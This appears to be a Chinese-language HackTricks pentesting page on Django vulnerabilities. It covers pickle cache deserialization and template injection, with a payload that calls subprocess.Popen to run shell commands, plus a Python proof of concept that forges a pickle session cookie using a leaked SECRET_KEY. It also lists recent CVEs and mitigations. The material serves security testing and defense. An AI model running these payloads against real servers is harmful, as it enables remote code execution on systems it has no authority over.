mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
80 lines
4.7 KiB
Markdown
80 lines
4.7 KiB
Markdown
# Django
|
||
|
||
{{#include /banners/hacktricks-training.md}}
|
||
|
||
## 缓存操控导致RCE
|
||
Django的默认缓存存储方法是[Python pickles](https://docs.python.org/3/library/pickle.html),如果[不受信任的输入被反序列化](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf),可能导致RCE。**如果攻击者能够获得对缓存的写入访问权限,他们可以将此漏洞升级为底层服务器上的RCE**。
|
||
|
||
Django缓存存储在四个地方之一:[Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12)、[内存](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16)、[文件](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16)或[数据库](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95)。存储在Redis服务器或数据库中的缓存是最可能的攻击向量(Redis注入和SQL注入),但攻击者也可能利用基于文件的缓存将任意写入转化为RCE。维护者已将此标记为非问题。需要注意的是,缓存文件夹、SQL表名和Redis服务器的详细信息将根据实现而有所不同。
|
||
|
||
此HackerOne报告提供了一个很好的、可重复的利用Django缓存存储在SQLite数据库中的示例:https://hackerone.com/reports/1415436
|
||
|
||
---
|
||
|
||
## 服务器端模板注入(SSTI)
|
||
Django模板语言(DTL)是**图灵完备**的。如果用户提供的数据被渲染为*模板字符串*(例如通过调用`Template(user_input).render()`或当`|safe`/`format_html()`移除自动转义时),攻击者可能实现完整的SSTI → RCE。
|
||
|
||
### 检测
|
||
1. 查找对`Template()` / `Engine.from_string()` / `render_to_string()`的动态调用,这些调用包含*任何*未清理的请求数据。
|
||
2. 发送基于时间或算术的有效负载:
|
||
```django
|
||
{{7*7}}
|
||
```
|
||
如果渲染的输出包含`49`,则输入被模板引擎编译。
|
||
|
||
### 从原始到RCE
|
||
Django阻止对`__import__`的直接访问,但Python对象图是可达的:
|
||
```django
|
||
{{''.__class__.mro()[1].__subclasses__()}}
|
||
```
|
||
找到 `subprocess.Popen` 的索引(约400–500,具体取决于Python构建)并执行任意命令:
|
||
```django
|
||
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
|
||
```
|
||
一个更安全的通用小工具是迭代直到 `cls.__name__ == 'Popen'`。
|
||
|
||
同样的小工具适用于 **Debug Toolbar** 或 **Django-CMS** 模板渲染功能,这些功能错误处理用户输入。
|
||
|
||
---
|
||
|
||
## 基于 Pickle 的会话 Cookie RCE
|
||
如果设置 `SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'` 被启用(或自定义反序列化 pickle 的序列化器),Django *在* 调用任何视图代码 **之前** 解密并反序列化会话 Cookie。因此,拥有一个有效的签名密钥(默认情况下是项目的 `SECRET_KEY`)就足以实现立即的远程代码执行。
|
||
|
||
### 利用要求
|
||
* 服务器使用 `PickleSerializer`。
|
||
* 攻击者知道/可以猜测 `settings.SECRET_KEY`(通过 GitHub、`.env`、错误页面等泄露)。
|
||
|
||
### 概念验证
|
||
```python
|
||
#!/usr/bin/env python3
|
||
from django.contrib.sessions.serializers import PickleSerializer
|
||
from django.core import signing
|
||
import os, base64
|
||
|
||
class RCE(object):
|
||
def __reduce__(self):
|
||
return (os.system, ("id > /tmp/pwned",))
|
||
|
||
mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
|
||
print(f"sessionid={mal}")
|
||
```
|
||
发送结果 cookie,并且有效负载以 WSGI worker 的权限运行。
|
||
|
||
**缓解措施**:保持默认的 `JSONSerializer`,轮换 `SECRET_KEY`,并配置 `SESSION_COOKIE_HTTPONLY`。
|
||
|
||
---
|
||
|
||
## 最近(2023-2025)高影响 Django CVE 渗透测试人员应检查
|
||
* **CVE-2025-48432** – *通过未转义的 `request.path` 进行日志注入*(修复于 2025 年 6 月 4 日)。允许攻击者将换行符/ANSI 代码注入日志文件,并污染下游日志分析。补丁级别 ≥ 4.2.22 / 5.1.10 / 5.2.2。
|
||
* **CVE-2024-42005** – *在 `JSONField` 上的 `QuerySet.values()/values_list()` 中的关键 SQL 注入*(CVSS 9.8)。构造 JSON 键以突破引号并执行任意 SQL。修复于 4.2.15 / 5.0.8。
|
||
|
||
始终通过 `X-Frame-Options` 错误页面或 `/static/admin/css/base.css` 哈希指纹识别确切的框架版本,并在适用时测试上述内容。
|
||
|
||
---
|
||
|
||
## 参考
|
||
* Django 安全发布 – "Django 5.2.2, 5.1.10, 4.2.22 解决 CVE-2025-48432" – 2025 年 6 月 4 日。
|
||
* OP-Innovate: "Django 发布安全更新以解决 SQL 注入缺陷 CVE-2024-42005" – 2024 年 8 月 11 日。
|
||
|
||
{{#include /banners/hacktricks-training.md}}
|